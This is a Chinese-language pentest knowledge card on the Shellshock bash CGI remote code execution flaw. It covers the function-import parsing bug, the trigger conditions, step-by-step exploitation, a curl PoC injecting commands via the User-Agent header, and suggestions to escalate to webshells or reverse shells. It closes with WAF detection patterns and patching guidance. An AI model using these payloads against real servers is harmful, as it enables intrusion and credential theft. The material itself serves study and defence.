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Shellshock CGI RCE:User-Agent 等 HTTP 头映射为函数形式环境变量,bash 启动时执行尾部注入命令

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一句话结论

Bash 4.3 及更早版本在启动时会重新解析环境变量,值以 () 和 { 开头即被当成导出函数导入,且解析器在函数定义结束后没有截断,尾巴上的命令会被一并执行;CGI 把 HTTP 请求头映射成 HTTP_* 环境变量,攻击者在 User-Agent 等头里写入 () { :; }; <命令>,即可让 CGI 脚本的 bash 解释器在启动时执行任意命令,权限为 Web 服务进程用户。

原理

  • 前置:变量与函数的继承差异:普通 shell 变量只存在于当前 shell,子进程看不到;export 后的环境变量会被子进程继承;普通函数只存在于当前 shell,export -f 后才会以环境变量形式传给子进程(env 中可见 name=() { ...; })。
  • 漏洞点一:字符串形式的"函数环境变量"被误当函数:把一个看起来像函数定义的字符串赋给变量再导出(如 test3='() { echo "1"; }'; export test3),新 bash 启动时会把它解析成函数,之后 test3 可直接调用。bash 在新进程初始化环境变量时,发现值里出现小括号与花括号就认定它是函数定义,用变量名作函数名、值作函数体。
  • 漏洞点二:函数定义尾部注入:Bash 初始化环境时对 name=value 调用 parse_and_execute(源码位置在 builtins/evalstring.c,等价于对赋值串做一次 eval)。它读到函数定义的闭合 } 后没有停止,继续把后面的内容当命令执行;因此 x='() { :;}; echo 1' 导出的环境变量在子 bash 启动时会执行 echo 1。补丁增加的判断是 if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def),用于确认解析出的确实只是函数定义而非附加命令。
  • 如何变成远程 RCE:漏洞本身只作用于"新启动的 bash 进程",必须借助第三方程序把攻击者可控数据放进环境变量并启动 bash。CGI 正好满足:Apache 收到 CGI 请求后 fork() 子进程并 exec() CGI 脚本,HTTP 请求头按 CGI 规范转成 HTTP_USER_AGENT、HTTP_REFERER、HTTP_COOKIE 等环境变量;若 CGI 脚本的 shebang 是 #!/bin/bash(或脚本内部启动 bash),bash 启动解析环境变量时即触发注入。脚本本身即使不打印 User-Agent 也不影响触发。
  • 触发三要素:目标 bash 存在漏洞(≤4.3 且未打补丁);攻击者能控制环境变量(HTTP 头、SSH 原始命令、DHCP option 等);有一个会启动新 bash 的第三方进程作为媒介。
  • 为什么成立:HTTP 头完全由客户端控制,CGI 规范又要求把它们原样放入环境变量;bash 的函数导入是隐式且无过滤的,二者叠加形成"请求头即命令"的注入面。

触发条件

  • 目标 Bash 版本 ≤ 4.3 且未安装 Shellshock 补丁(补丁版本会忽略以 () 开头的环境变量值)。
  • Web 服务器启用 CGI(如 Apache a2enmod cgi),且 cgi-bin 下的 CGI 程序可访问。
  • CGI 程序由 bash 解释(shebang #!/bin/bash)或内部会启动 bash 子进程。
  • 攻击者能设置任意 HTTP 头;Web 服务进程有权限执行所需命令(通常为 www-data/apache,权限有限但足以读取配置、反弹 shell)。

利用步骤

  1. 本地验证漏洞:在目标同类环境执行 env x='() { :;}; echo 1' bash -c "echo 2";有漏洞时同时输出 1 和 2,已打补丁的 bash 只输出 2。注意 () 与 { 之间必须有空格。
  2. 确认 CGI 可达:请求 cgi-bin 下的脚本,确认返回正常 CGI 响应。
  3. 用无害命令验证注入:curl -H "User-agent: () { :; }; echo; echo vulnerable" http://target/cgi-bin/hello.sh,响应中出现 vulnerable 即命令被执行(执行者为 Apache 运行用户)。
  4. 替换为实际命令:把 echo vulnerable 换成读文件、写 WebShell、反弹 shell 等;同一 payload 可放在 Referer、Cookie 等其他头中,绕过只检查 User-Agent 的规则。
  5. 评估权限并维持访问:以 Web 用户权限收集配置/数据库凭据、内网探测,必要时反弹交互式 shell。

PoC

本地漏洞检测:

env x='() { :;}; echo 1' bash -c "echo 2"
# 有漏洞:先输出 1 再输出 2;已修复:只输出 2

CGI 注入:

# CGI 脚本 hello.sh(#!/bin/bash)会把 User-Agent 放进 HTTP_USER_AGENT 环境变量
curl -H "User-agent: () { :; }; echo; echo vulnerable" http://localhost/cgi-bin/hello.sh
# 响应中出现 vulnerable,说明函数定义后的命令被执行

实际命令只需替换注入段,例如 () { :; }; /bin/bash -c 'id > /tmp/x';反弹 shell 时把命令改为对应的 bash/python 载荷。

变体与关联

  • 变体(注入载体):任何进入环境变量并启动 bash 的数据源都可复用本原语——SSH 客户端命令(SSH_ORIGINAL_COMMAND)、DHCP option 114、SUID 程序继承的环境变量,分别见关联卡。
  • 变体(头位置):User-Agent、Referer、Cookie、X-Forwarded-For 等所有被 CGI 映射为环境变量的头都可尝试;也可用请求体构造环境变量(视 CGI 程序实现)。
  • 修复后的相似机制:Bash 4.3 补丁后仍支持 BASH_FUNC_name%%=() { ...; } 形式的导出函数;若应用把用户输入作为环境变量键值传给 bash,仍可能被函数导出机制利用(PHP putenv 场景见关联卡),与本 CVE 不是同一根因。
  • 关联:[[web-php-rce-putenv-bash-func-env-injection]](补丁后 BASH_FUNC_ 函数导出滥用)、[[pentest-privilege-escalation-shellshock-suid-system-sh-bash-p]](SUID 程序转移执行点)、[[pentest-privilege-escalation-shellshock-ssh-forcedcommand-original-command]](SSH 受限命令绕过)、[[pentest-lateral-movement-shellshock-dhcp-option-114-client-rce]](DHCP 客户端批量 RCE)。

检测与防御

  • 检测:WAF/IDS 在请求头、Cookie、请求体中匹配 () {、() { :;}、BASH_FUNC_、/bin/bash、/bin/sh -c 等特征;Web 进程日志中出现异常 HTTP_* 值;监控 Apache/Web 用户派生的 bash 子进程与其执行的命令。
  • 修复:升级 Bash 到含 Shellshock 补丁的版本(各发行版补丁级别不同,以发行版公告为准),升级后重启依赖 bash 的服务。
  • 加固:CGI 脚本改用非 bash 解释器(如 dash/perl/python),或显式清理环境;禁用不必要的 CGI;Web 进程以低权限用户运行并限制出网;对关键 CGI 目录做访问控制。
  • 响应:发现利用后检查 Web 用户权限范围内的文件变更、WebShell、计划任务与外连;轮换服务器上 Web 应用可读取的凭据。